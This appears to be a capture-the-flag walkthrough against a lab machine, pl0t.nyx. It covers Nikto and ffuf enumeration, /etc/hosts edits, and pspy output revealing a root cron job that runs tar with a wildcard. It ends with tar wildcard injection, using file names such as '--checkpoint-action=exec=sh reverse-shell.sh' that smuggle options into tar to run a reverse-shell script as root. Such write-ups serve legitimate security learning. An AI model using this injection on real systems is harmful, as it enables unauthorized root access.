Resolving Domain Names

```
- Nikto v2.5.0

+ Target IP: 10.0.2.75

+ Target Hostname: 10.0.2.75

+ Target Port: 80

+ Start Time: 2024-12-02 01:20:24 (GMT-5)

+ Server: Apache/2.4.56 (Debian)

+ /: The anti-clickjacking X-Frame-Options header is not present. See: s/Web/HTTP/Headers/X-Frame-Options

+ /: Uncommon header 'x-custom-header' found, with contents: pl0t.nyx.
```

The Nikto scan detects that there is a custom header included in the webserver response, which points to a domain name

Adding the Domain to /etc/hosts

```
GNU nano 7.2

127.0.0.1 localhost

127.0.1.1 kali

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

10.0.2.75 pl0t.nyx
```

We can attach the domain name to the machine's IP in our /etc/hosts file, then perform more enumeration

Discovering Subdomains

```
:: Method
                    : GET
                    : http://pl0t.nyx
 :: URL
                    : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Wordlist
 :: Header
                    : Host: FUZZ.pl0t.nyx
 :: Follow redirects : false
 :: Calibration
                    : false
 :: Timeout
                    : 10
 :: Threads
                 : 40
 :: Matcher
                  : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter
                    : Response size: 10701
                       [Status: 200, Size: 4812, Words: 494, Lines: 87, Duration: 19ms]
:: Progress: [114441/114441] :: Job [1/1] :: 2816 reg/sec :: Duration: [0:00:42] :: Errors: 0 ::
```

Then we can use a fuzzing program to discover subdomains

Discovering Subdomains

```
GNU nano 7.2

127.0.0.1 localhost

127.0.1.1 kali

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

10.0.2.75 pl0t.nyx sar.pl0t.nyx
```

Then add the subdomain to the /etc/hosts file, then continue enumeration

```
2024/12/02 08:27:01 CMD: UID=0 PID=1514 | /bin/sh -c cd /var/www/html & tar -zcf /var/backups/s erve.tgz * 2024/12/02 08:27:01 CMD: UID=0 PID=1515 | tar -zcf /var/backups/serve.tgz index.html
```

By using the Pspy tool, we discover there is a privileged command being run at regular intervals

```
2024/12/02 08:27:01 CMD: UID=0 PID=1514 | /bin/sh -c cd /var/www/html & tar -zcf /var/backups/s erve.tgz * 2024/12/02 08:27:01 CMD: UID=0 PID=1515 | tar -zcf /var/backups/serve.tgz index.html
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```

There is a special interaction with the **tar** binary when it is used with the * wildcard character, which allows arbitrary command execution

```
'--checkpoint-action=exec=sh reverse-shell.sh'
'--checkpoint=1'
.
..
index.html
reverse-shell.sh
```

If we can create files with the indicated file names in the directory where the **tar** command is executed, we can execute the commands in the indicated script